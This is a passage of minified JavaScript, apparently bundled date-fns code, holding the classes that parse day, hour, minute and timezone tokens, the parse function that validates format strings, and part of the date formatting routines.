n.day(e,{width:\"short\",context:\"standalone\"})||n.day(e,{width:\"narrow\",context:\"standalone\"});case\"cccc\":default:return n.day(e,{width:\"wide\",context:\"standalone\"})||n.day(e,{width:\"abbreviated\",context:\"standalone\"})||n.day(e,{width:\"short\",context:\"standalone\"})||n.day(e,{width:\"narrow\",context:\"standalone\"})}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=6}},{key:\"set\",value:function(e,t,n,r){return e=Ct(e,n,r),e.setUTCHours(0,0,0,0),e}}]),n}(We);function Tt(e,t){te(2,arguments);var n=ee(t);n%7===0&&(n-=7);var r=1,a=ne(e),o=a.getUTCDay(),i=n%7,l=(i+7)%7,s=(l\u003Cr?7:0)+n-o;return a.setUTCDate(a.getUTCDate()+s),a}var Rt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",90),Re(ge(e),\"incompatibleTokens\",[\"y\",\"Y\",\"u\",\"q\",\"Q\",\"M\",\"L\",\"w\",\"d\",\"D\",\"E\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){var r=function(e){return 0===e?7:e};switch(t){case\"i\":case\"ii\":return He(t.length,e);case\"io\":return n.ordinalNumber(e,{unit:\"day\"});case\"iii\":return Fe(n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"}),r);case\"iiiii\":return Fe(n.day(e,{width:\"narrow\",context:\"formatting\"}),r);case\"iiiiii\":return Fe(n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"}),r);case\"iiii\":default:return Fe(n.day(e,{width:\"wide\",context:\"formatting\"})||n.day(e,{width:\"abbreviated\",context:\"formatting\"})||n.day(e,{width:\"short\",context:\"formatting\"})||n.day(e,{width:\"narrow\",context:\"formatting\"}),r)}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=7}},{key:\"set\",value:function(e,t,n){return e=Tt(e,n),e.setUTCHours(0,0,0,0),e}}]),n}(We),Ot=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",80),Re(ge(e),\"incompatibleTokens\",[\"b\",\"B\",\"H\",\"k\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"a\":case\"aa\":case\"aaa\":return n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"aaaaa\":return n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"aaaa\":default:return n.dayPeriod(e,{width:\"wide\",context:\"formatting\"})||n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"set\",value:function(e,t,n){return e.setUTCHours(Ye(n),0,0,0),e}}]),n}(We),Mt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",80),Re(ge(e),\"incompatibleTokens\",[\"a\",\"B\",\"H\",\"k\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"b\":case\"bb\":case\"bbb\":return n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"bbbbb\":return n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"bbbb\":default:return n.dayPeriod(e,{width:\"wide\",context:\"formatting\"})||n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"set\",value:function(e,t,n){return e.setUTCHours(Ye(n),0,0,0),e}}]),n}(We),At=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",80),Re(ge(e),\"incompatibleTokens\",[\"a\",\"b\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"B\":case\"BB\":case\"BBB\":return n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"BBBBB\":return n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"});case\"BBBB\":default:return n.dayPeriod(e,{width:\"wide\",context:\"formatting\"})||n.dayPeriod(e,{width:\"abbreviated\",context:\"formatting\"})||n.dayPeriod(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"set\",value:function(e,t,n){return e.setUTCHours(Ye(n),0,0,0),e}}]),n}(We),Dt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",70),Re(ge(e),\"incompatibleTokens\",[\"H\",\"K\",\"k\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"h\":return Ve(Le.hour12h,e);case\"ho\":return n.ordinalNumber(e,{unit:\"hour\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=12}},{key:\"set\",value:function(e,t,n){var r=e.getUTCHours()>=12;return r&&n\u003C12?e.setUTCHours(n+12,0,0,0):r||12!==n?e.setUTCHours(n,0,0,0):e.setUTCHours(0,0,0,0),e}}]),n}(We),Wt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",70),Re(ge(e),\"incompatibleTokens\",[\"a\",\"b\",\"h\",\"K\",\"k\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"H\":return Ve(Le.hour23h,e);case\"Ho\":return n.ordinalNumber(e,{unit:\"hour\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=23}},{key:\"set\",value:function(e,t,n){return e.setUTCHours(n,0,0,0),e}}]),n}(We),Bt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",70),Re(ge(e),\"incompatibleTokens\",[\"h\",\"H\",\"k\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"K\":return Ve(Le.hour11h,e);case\"Ko\":return n.ordinalNumber(e,{unit:\"hour\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=11}},{key:\"set\",value:function(e,t,n){var r=e.getUTCHours()>=12;return r&&n\u003C12?e.setUTCHours(n+12,0,0,0):e.setUTCHours(n,0,0,0),e}}]),n}(We),Pt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",70),Re(ge(e),\"incompatibleTokens\",[\"a\",\"b\",\"h\",\"H\",\"K\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"k\":return Ve(Le.hour24h,e);case\"ko\":return n.ordinalNumber(e,{unit:\"hour\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=24}},{key:\"set\",value:function(e,t,n){var r=n\u003C=24?n%24:n;return e.setUTCHours(r,0,0,0),e}}]),n}(We),It=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",60),Re(ge(e),\"incompatibleTokens\",[\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"m\":return Ve(Le.minute,e);case\"mo\":return n.ordinalNumber(e,{unit:\"minute\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=59}},{key:\"set\",value:function(e,t,n){return e.setUTCMinutes(n,0,0),e}}]),n}(We),Nt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",50),Re(ge(e),\"incompatibleTokens\",[\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"s\":return Ve(Le.second,e);case\"so\":return n.ordinalNumber(e,{unit:\"second\"});default:return He(t.length,e)}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=59}},{key:\"set\",value:function(e,t,n){return e.setUTCSeconds(n,0),e}}]),n}(We),Lt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",30),Re(ge(e),\"incompatibleTokens\",[\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t){var n=function(e){return Math.floor(e*Math.pow(10,3-t.length))};return Fe(He(t.length,e),n)}},{key:\"set\",value:function(e,t,n){return e.setUTCMilliseconds(n),e}}]),n}(We),jt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",10),Re(ge(e),\"incompatibleTokens\",[\"t\",\"T\",\"x\"]),e}return Te(n,[{key:\"parse\",value:function(e,t){switch(t){case\"X\":return Ue(je.basicOptionalMinutes,e);case\"XX\":return Ue(je.basic,e);case\"XXXX\":return Ue(je.basicOptionalSeconds,e);case\"XXXXX\":return Ue(je.extendedOptionalSeconds,e);case\"XXX\":default:return Ue(je.extended,e)}}},{key:\"set\",value:function(e,t,n){return t.timestampIsSet?e:new Date(e.getTime()-n)}}]),n}(We),Ft=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",10),Re(ge(e),\"incompatibleTokens\",[\"t\",\"T\",\"X\"]),e}return Te(n,[{key:\"parse\",value:function(e,t){switch(t){case\"x\":return Ue(je.basicOptionalMinutes,e);case\"xx\":return Ue(je.basic,e);case\"xxxx\":return Ue(je.basicOptionalSeconds,e);case\"xxxxx\":return Ue(je.extendedOptionalSeconds,e);case\"xxx\":default:return Ue(je.extended,e)}}},{key:\"set\",value:function(e,t,n){return t.timestampIsSet?e:new Date(e.getTime()-n)}}]),n}(We),Vt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",40),Re(ge(e),\"incompatibleTokens\",\"*\"),e}return Te(n,[{key:\"parse\",value:function(e){return Xe(e)}},{key:\"set\",value:function(e,t,n){return[new Date(1e3*n),{timestampIsSet:!0}]}}]),n}(We),Ut=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",20),Re(ge(e),\"incompatibleTokens\",\"*\"),e}return Te(n,[{key:\"parse\",value:function(e){return Xe(e)}},{key:\"set\",value:function(e,t,n){return[new Date(n),{timestampIsSet:!0}]}}]),n}(We),Xt={G:new Be,y:new qe,Y:new tt,R:new rt,u:new at,Q:new ot,q:new it,M:new lt,L:new st,w:new pt,I:new bt,d:new _t,D:new kt,E:new xt,e:new St,c:new Et,i:new Rt,a:new Ot,b:new Mt,B:new At,h:new Dt,H:new Wt,K:new Bt,k:new Pt,m:new It,s:new Nt,S:new Lt,X:new jt,x:new Ft,t:new Vt,T:new Ut},Ht=\u002F[yYQqMLwIdDecihHKkms]o|(\\w)\\1*|''|'(''|[^'])+('|$)|.\u002Fg,Gt=\u002FP+p+|P+|p+|''|'(''|[^'])+('|$)|.\u002Fg,Yt=\u002F^'([^]*?)'?$\u002F,zt=\u002F''\u002Fg,Kt=\u002F\\S\u002F,qt=\u002F[a-zA-Z]\u002F;function Qt(e,t,n,r){var a,o,i,s,u,c,f,p,h,v,m,g,y,b,$,w,_,k;te(3,arguments);var C=String(e),x=String(t),S=Ze(),E=null!==(a=null!==(o=null===r||void 0===r?void 0:r.locale)&&void 0!==o?o:S.locale)&&void 0!==a?a:J;if(!E.match)throw new RangeError(\"locale must contain match property\");var T=ee(null!==(i=null!==(s=null!==(u=null!==(c=null===r||void 0===r?void 0:r.firstWeekContainsDate)&&void 0!==c?c:null===r||void 0===r||null===(f=r.locale)||void 0===f||null===(p=f.options)||void 0===p?void 0:p.firstWeekContainsDate)&&void 0!==u?u:S.firstWeekContainsDate)&&void 0!==s?s:null===(h=S.locale)||void 0===h||null===(v=h.options)||void 0===v?void 0:v.firstWeekContainsDate)&&void 0!==i?i:1);if(!(T>=1&&T\u003C=7))throw new RangeError(\"firstWeekContainsDate must be between 1 and 7 inclusively\");var R=ee(null!==(m=null!==(g=null!==(y=null!==(b=null===r||void 0===r?void 0:r.weekStartsOn)&&void 0!==b?b:null===r||void 0===r||null===($=r.locale)||void 0===$||null===(w=$.options)||void 0===w?void 0:w.weekStartsOn)&&void 0!==y?y:S.weekStartsOn)&&void 0!==g?g:null===(_=S.locale)||void 0===_||null===(k=_.options)||void 0===k?void 0:k.weekStartsOn)&&void 0!==m?m:0);if(!(R>=0&&R\u003C=6))throw new RangeError(\"weekStartsOn must be between 0 and 6 inclusively\");if(\"\"===x)return\"\"===C?ne(n):new Date(NaN);var O,M={firstWeekContainsDate:T,weekStartsOn:R,locale:E},A=[new De],D=x.match(Gt).map(function(e){var t=e[0];if(t in de){var n=de[t];return n(e,E.formatLong)}return e}).join(\"\").match(Ht),W=[],B=d(D);try{var P=function(){var t=O.value;null!==r&&void 0!==r&&r.useAdditionalWeekYearTokens||!ve(t)||me(t,x,e),null!==r&&void 0!==r&&r.useAdditionalDayOfYearTokens||!he(t)||me(t,x,e);var n=t[0],a=Xt[n];if(a){var o=a.incompatibleTokens;if(Array.isArray(o)){var i=W.find(function(e){return o.includes(e.token)||e.token===n});if(i)throw new RangeError(\"The format string mustn't contain `\".concat(i.fullToken,\"` and `\").concat(t,\"` at the same time\"))}else if(\"*\"===a.incompatibleTokens&&W.length>0)throw new RangeError(\"The format string mustn't contain `\".concat(t,\"` and any other token at the same time\"));W.push({token:n,fullToken:t});var l=a.run(C,t,E.match,M);if(!l)return{v:new Date(NaN)};A.push(l.setter),C=l.rest}else{if(n.match(qt))throw new RangeError(\"Format string contains an unescaped latin alphabet character `\"+n+\"`\");if(\"''\"===t?t=\"'\":\"'\"===n&&(t=Zt(t)),0!==C.indexOf(t))return{v:new Date(NaN)};C=C.slice(t.length)}};for(B.s();!(O=B.n()).done;){var I=P();if(\"object\"===l(I))return I.v}}catch(G){B.e(G)}finally{B.f()}if(C.length>0&&Kt.test(C))return new Date(NaN);var N=A.map(function(e){return e.priority}).sort(function(e,t){return t-e}).filter(function(e,t,n){return n.indexOf(e)===t}).map(function(e){return A.filter(function(t){return t.priority===e}).sort(function(e,t){return t.subPriority-e.subPriority})}).map(function(e){return e[0]}),L=ne(n);if(isNaN(L.getTime()))return new Date(NaN);var j,F=ae(L,ce(L)),V={},U=d(N);try{for(U.s();!(j=U.n()).done;){var X=j.value;if(!X.validate(F,M))return new Date(NaN);var H=X.set(F,V,M);Array.isArray(H)?(F=H[0],oe(V,H[1])):F=H}}catch(G){U.e(G)}finally{U.f()}return F}function Zt(e){return e.match(Yt)[1].replace(zt,\"'\")}function Jt(e){return te(1,arguments),e instanceof Date||\"object\"===l(e)&&\"[object Date]\"===Object.prototype.toString.call(e)}function en(e){if(te(1,arguments),!Jt(e)&&\"number\"!==typeof e)return!1;var t=ne(e);return!isNaN(Number(t))}function tn(e,t){te(2,arguments);var n=ne(e),r=ee(t);return n.setHours(r),n}function nn(e,t){te(2,arguments);var n=ne(e),r=ee(t);return n.setMinutes(r),n}function rn(e,t){te(2,arguments);var n=ne(e),r=ee(t);return n.setSeconds(r),n}function an(e,t){te(2,arguments);var n=ne(e),r=ee(t);return n.setMilliseconds(r),n}function on(e,t){te(2,arguments);var n=ne(e),r=ne(t);return n.getTime()\u003Cr.getTime()}function ln(e,t){te(2,arguments);var n=ne(e),r=ne(t);return n.getTime()===r.getTime()}function sn(e,t){te(2,arguments);var n=ne(e),r=ne(t);return n.getTime()>r.getTime()}var un=864e5;function dn(e){te(1,arguments);var t=ne(e),n=t.getTime();t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0);var r=t.getTime(),a=n-r;return Math.floor(a\u002Fun)+1}function cn(e,t){var n=e\u003C0?\"-\":\"\",r=Math.abs(e).toString();while(r.length\u003Ct)r=\"0\"+r;return n+r}var fn={y:function(e,t){var n=e.getUTCFullYear(),r=n>0?n:1-n;return cn(\"yy\"===t?r%100:r,t.length)},M:function(e,t){var n=e.getUTCMonth();return\"M\"===t?String(n+1):cn(n+1,2)},d:function(e,t){return cn(e.getUTCDate(),t.length)},a:function(e,t){var n=e.getUTCHours()\u002F12>=1?\"pm\":\"am\";switch(t){case\"a\":case\"aa\":return n.toUpperCase();case\"aaa\":return n;case\"aaaaa\":return n[0];case\"aaaa\":default:return\"am\"===n?\"a.m.\":\"p.m.\"}},h:function(e,t){return cn(e.getUTCHours()%12||12,t.length)},H:function(e,t){return cn(e.getUTCHours(),t.length)},m:function(e,t){return cn(e.getUTCMinutes(),t.length)},s:function(e,t){return cn(e.getUTCSeconds(),t.length)},S:function(e,t){var n=t.length,r=e.getUTCMilliseconds(),a=Math.floor(r*Math.pow(10,n-3));return cn(a,t.length)}},pn=fn,hn={am:\"am\",pm:\"pm\",midnight:\"midnight\",noon:\"noon\",morning:\"morning\",afternoon:\"afternoon\",evening:\"evening\",night:\"night\"},vn={G:function(e,t,n){var r=e.getUTCFullYear()>0?1:0;switch(t){case\"G\":case\"GG\":case\"GGG\":return n.era(r,{width:\"abbreviated\"});case\"GGGGG\":return n.era(r,{width:\"narrow\"});case\"GGGG\":default:return n.era(r,{width:\"wide\"})}},y:function(e,t,n){if(\"yo\"===t){var r=e.getUTCFullYear(),a=r>0?r:1-r;return n.ordinalNumber(a,{unit:\"year\"})}return pn.y(e,t)},Y:function(e,t,n,r){var a=et(e,r),o=a>0?a:1-a;if(\"YY\"===t){var i=o%100;return cn(i,2)}return\"Yo\"===t?n.ordinalNumber(o,{unit:\"year\"}):cn(o,t.length)},R:function(e,t){var n=ht(e);return cn(n,t.length)},u:function(e,t){var n=e.getUTCFullYear();return cn(n,t.length)},Q:function(e,t,n){var r=Math.ceil((e.getUTCMonth()+1)\u002F3);switch(t){case\"Q\":return String(r);case\"QQ\":return cn(r,2);case\"Qo\":return n.ordinalNumber(r,{unit:\"quarter\"});case\"QQQ\":return n.quarter(r,{width:\"abbreviated\",context:\"formatting\"});case\"QQQQQ\":return n.quarter(r,{width:\"narrow\",context:\"formatting\"});case\"QQQQ\":default:return n.quarter(r,{width:\"wide\",context:\"formatting\"})}},q:function(e,t,n){var r=Math.ceil((e.getUTCMonth()+1)\u002F3);switch(t){case\"q\":return String(r);case\"qq\":return cn(r,2);case\"qo\":return n.ordinalNumber(r,{unit:\"quarter\"});case\"qqq\":return n.quarter(r,{width:\"abbreviated\",context:\"standalone\"});case\"qqqqq\":return n.quarter(r,{width:\"narrow\",context:\"standalone\"});case\"qqqq\":default:return n.quarter(r,{width:\"wide\",context:\"standalone\"})}},M:function(e,t,n){var r=e.getUTCMonth();switch(t){case\"M\":case\"MM\":return pn.M(e,t);case\"Mo\":return n.ordinalNumber(r+1,{unit:\"month\"});case\"MMM\":return n.month(r,{width:\"abbreviated\",context:\"formatting\"});case\"MMMMM\":return n.month(r,{width:\"narrow\",context:\"formatting\"});case\"MMMM\":default:return n.month(r,{width:\"wide\",context:\"formatting\"})}},L:function(e,t,n){var r=e.getUTCMonth();switch(t){case\"L\":return String(r+1);case\"LL\":return cn(r+1,2);case\"Lo\":return n.ordinalNumber(r+1,{unit:\"month\"});case\"LLL\":return n.month(r,{width:\"abbreviated\",context:\"standalone\"});case\"LLLLL\":return n.month(r,{width:\"narrow\",context:\"standalone\"});case\"LLLL\":default:return n.month(r,{width:\"wide\",context:\"standalone\"})}},w:function(e,t,n,r){var a=ct(e,r);return\"wo\"===t?n.ordinalNumber(a,{unit:\"week\"}):cn(a,t.length)},I:function(e,t,n){var r=gt(e);return\"Io\"===t?n.ordinalNumber(r,{unit:\"week\"}):cn(r,t.length)},d:function(e,t,n){return\"do\"===t?n.ordinalNumber(e.getUTCDate(),{unit:\"date\"}):pn.d(e,t)},D:function(e,t,n){var r=dn(e);return\"Do\"===t?n.ordinalNumber(r,{unit:\"dayOfYear\"}):cn(r,t.length)},E:function(e,t,n){var r=e.getUTCDay();switch(t){case\"E\":case\"EE\":case\"EEE\":return n.day(r,{width:\"abbreviated\",context:\"formatting\"});case\"EEEEE\":return n.day(r,{width:\"narrow\",context:\"formatting\"});case\"EEEEEE\":return n.day(r,{width:\"short\",context:\"formatting\"});case\"EEEE\":default:return n.day(r,{width:\"wide\",context:\"formatting\"})}},e:function(e,t,n,r){var a=e.getUTCDay(),o=(a-r.weekStartsOn+8)%7||7;switch(t){case\"e\":return String(o);case\"ee\":return cn(o,2);case\"eo\":return n.ordinalNumber(o,{unit:\"day\"});case\"eee\":return n.day(a,{width:\"abbreviated\",context:\"formatting\"});case\"eeeee\":return n.day(a,{width:\"narrow\",context:\"formatting\"});case\"eeeeee\":return n.day(a,{width:\"short\",context:\"formatting\"});case\"eeee\":default:return n.day(a,{width:\"wide\",context:\"formatting\"})}},c:function(e,t,n,r){var a=e.getUTCDay(),o=(a-r.weekStartsOn+8)%7||7;switch(t){case\"c\":return String(o);case\"cc\":return cn(o,t.length);case\"co\":return n.ordinalNumber(o,{unit:\"day\"});case\"ccc\":return n.day(a,{width:\"abbreviated\",context:\"standalone\"});case\"ccccc\":return n.day(a,{width:\"narrow\",context:\"standalone\"});case\"cccccc\":return n.day(a,{width:\"short\",context:\"standalone\"});case\"cccc\":default:return n.day(a,{width:\"wide\",context:\"standalone\"})}},i:function(e,t,n){var r=e.getUTCDay(),a=0===r?7:r;switch(t){case\"i\":return String(a);case\"ii\":return cn(a,t.length);case\"io\":return n.ordinalNumber(a,{unit:\"day\"});case\"iii\":return n.day(r,{width:\"abbreviated\",context:\"formatting\"});case\"iiiii\":return n.day(r,{width:\"narrow\",context:\"formatting\"});case\"iiiiii\":return n.day(r,{width:\"short\",context:\"formatting\"});case\"iiii\":default:return n.day(r,{width:\"wide\",context:\"formatting\"})}},a:function(e,t,n){var r=e.getUTCHours(),a=r\u002F12>=1?\"pm\":\"am\";switch(t){case\"a\":case\"aa\":return n.dayPeriod(a,{width:\"abbreviated\",context:\"formatting\"});case\"aaa\":return n.dayPeriod(a,{width:\"abbreviated\",context:\"formatting\"}).toLowerCase();case\"aaaaa\":return n.dayPeriod(a,{width:\"narrow\",context:\"formatting\"});case\"aaaa\":default:return n.dayPeriod(a,{width:\"wide\",context:\"formatting\"})}},b:function(e,t,n){var r,a=e.getUTCHours();switch(r=12===a?hn.noon:0===a?hn.midnight:a\u002F12>=1?\"pm\":\"am\",t){case\"b\":case\"bb\":return n.dayPeriod(r,{width:\"abbreviated\",context:\"formatting\"});case\"bbb\":return n.dayPeriod(r,{width:\"abbreviated\",context:\"formatting\"}).toLowerCase();case\"bbbbb\":return n.dayPeriod(r,{width:\"narrow\",context:\"formatting\"});case\"bbbb\":default:return n.dayPeriod(r,{width:\"wide\",context:\"formatting\"})}},B:function(e,t,n){var r,a=e.getUTCHours();switch(r=a>=17?hn.evening:a>=12?hn.afternoon:a>=4?hn.morning:hn.night,t){case\"B\":case\"BB\":case\"BBB\":return n.dayPeriod(r,{width:\"abbreviated\",context:\"formatting\"});case\"BBBBB\":return n.dayPeriod(r,{width:\"narrow\",context:\"formatting\"});case\"BBBB\":default:return n.dayPeriod(r,{width:\"wide\",context:\"formatting\"})}},h:function(e,t,n){if(\"ho\"===t){var r=e.getUTCHours()%12;return 0===r&&(r=12),n.ordinalNumber(r,{unit:\"hour\"})}return pn.h(e,t)},H:function(e,t,n){return\"Ho\"===t?n.ordinalNumber(e.getUTCHours(),{unit:\"hour\"}):pn.H(e,t)},K:function(e,t,n){var r=e.getUTCHours()%12;return\"Ko\"===t?n.ordinalNumber(r,{unit:\"hour\"}):cn(r,t.length)},k:function(e,t,n){var r=e.getUTCHours();return 0===r&&(r=24),\"ko\"===t?n.ordinalNumber(r,{unit:\"hour\"}):cn(r,t.length)},m:function(e,t,n){return\"mo\"===t?n.ordinalNumber(e.getUTCMinutes(),{unit:\"minute\"}):pn.m(e,t)},s:function(e,t,n){return\"so\"===t?n.ordinalNumber(e.getUTCSeconds(),{unit:\"second\"}):pn.s(e,t)},S:function(e,t){return pn.S(e,t)},X:function(e,t,n,r){var a=r._originalDate||e,o=a.getTimezoneOffset();if(0===o)return\"Z\";switch(t){case\"X\":return gn(o);case\"XXXX\":case\"XX\":return yn(o);case\"XXXXX\":case\"XXX\":default:return yn(o,\":\")}},x:function(e,t,n,r){var a=r._originalDate||e,o=a.getTimezoneOffset();switch(t){case\"x\":return gn(o);case\"xxxx\":case\"xx\":return yn(o);case\"xxxxx\":case\"xxx\":default:return yn(o,\":\")}},O:function(e,t,n,r){var a=r._originalDate||e,o=a.getTimezoneOffset();switch(t){case\"O\":case\"OO\":case\"OOO\":return\"GMT\"+mn(o,\":\");case\"OOOO\":default:return\"GMT\"+yn(o,\":\")}},z:function(e,t,n,r){var a=r._originalDate||e,o=a.getTimezoneOffset();switch(t){case\"z\":case\"zz\":case\"zzz\":return\"GMT\"+mn(o,\":\");case\"zzzz\":default:return\"GMT\"+yn(o,\":\")}},t:function(e,t,n,r){var a=r._originalDate||e,o=Math.floor(a.getTime()\u002F1e3);return cn(o,t.length)},T:function(e,t,n,r){var a=r._originalDate||e,o=a.getTime();return cn(o,t.length)}};function mn(e,t){var n=e>0?\"-\":\"+\",r=Math.abs(e),a=Math.floor(r\u002F60),o=r%60;if(0===o)return n+String(a);var i=t||\"\";return n+String(a)+i+cn(o,2)}function gn(e,t){if(e%60===0){var n=e>0?\"-\":\"+\";return n+cn(Math.abs(e)\u002F60,2)}return yn(e,t)}function yn(e,t){var n=t||\"\",r=e>0?\"-\":\"+\",a=Math.abs(e),o=cn(Math.floor(a\u002F60),2),i=cn(a%60,2);return r+o+n+i}var bn=vn,$n=\u002F[yYQqMLwIdDecihHKkms]o|(\\w)\\1*|''|'(''|[^'])+('|$)|.\u002Fg,wn=\u002FP+p+|P+|p+|''|'(''|[^'])+('|$)|.\u002Fg,_n=\u002F^'([^]*?)'?$\u002F,kn=\u002F''\u002Fg,Cn=\u002F[a-zA-Z]\u002F;function xn(e,t,n){var r,a,o,i,l,s,u,d,c,f,p,h,v,m,g,y,b,$;te(2,arguments);var w=String(t),_=Ze(),k=null!==(r=null!==(a=null===n||void 0===n?void 0:n.locale)&&void 0!==a?a:_.locale)&&void 0!==r?r:J,C=ee(null!==(o=null!==(i=null!==(l=null!==(s=null===n||void 0===n?void 0:n.firstWeekContainsDate)&&void 0!==s?s:null===n||void 0===n||null===(u=n.locale)||void 0===u||null===(d=u.options)||void 0===d?void 0:d.firstWeekContainsDate)&&void 0!==l?l:_.firstWeekContainsDate)&&void 0!==i?i:null===(c=_.locale)||void 0===c||null===(f=c.options)||void 0===f?void 0:f.firstWeekContainsDate)&&void 0!==o?o:1);if(!(C>=1&&C\u003C=7))throw new RangeError(\"firstWeekContainsDate must be between 1 and 7 inclusively\");var x=ee(null!==(p=null!==(h=null!==(v=null!==(m=null===n||void 0===n?void 0:n.weekStartsOn)&&void 0!==m?m:null===n||void 0===n||null===(g=n.locale)||void 0===g||null===(y=g.options)||void 0===y?void 0:y.weekStartsOn)&&void 0!==v?v:_.weekStartsOn)&&void 0!==h?h:null===(b=_.locale)||void 0===b||null===($=b.options)||void 0===$?void 0:$.weekStartsOn)&&void 0!==p?p:0);if(!(x>=0&&x\u003C=6))throw new RangeError(\"weekStartsOn must be between 0 and 6 inclusively\");if(!k.localize)throw new RangeError(\"locale must contain localize property\");if(!k.formatLong)throw new RangeError(\"locale must contain formatLong property\");var S=ne(e);if(!en(S))throw new RangeError(\"Invalid time value\");var E=ce(S),T=ae(S,E),R={firstWeekContainsDate:C,weekStartsOn:x,locale:k,_originalDate:S},O=w.match(wn).map(function(e){var t=e[0];if(\"p\"===t||\"P\"===t){var n=de[t];return n(e,k.formatLong)}return e}).join(\"\").match($n).map(function(r){if(\"''\"===r)return\"'\";var 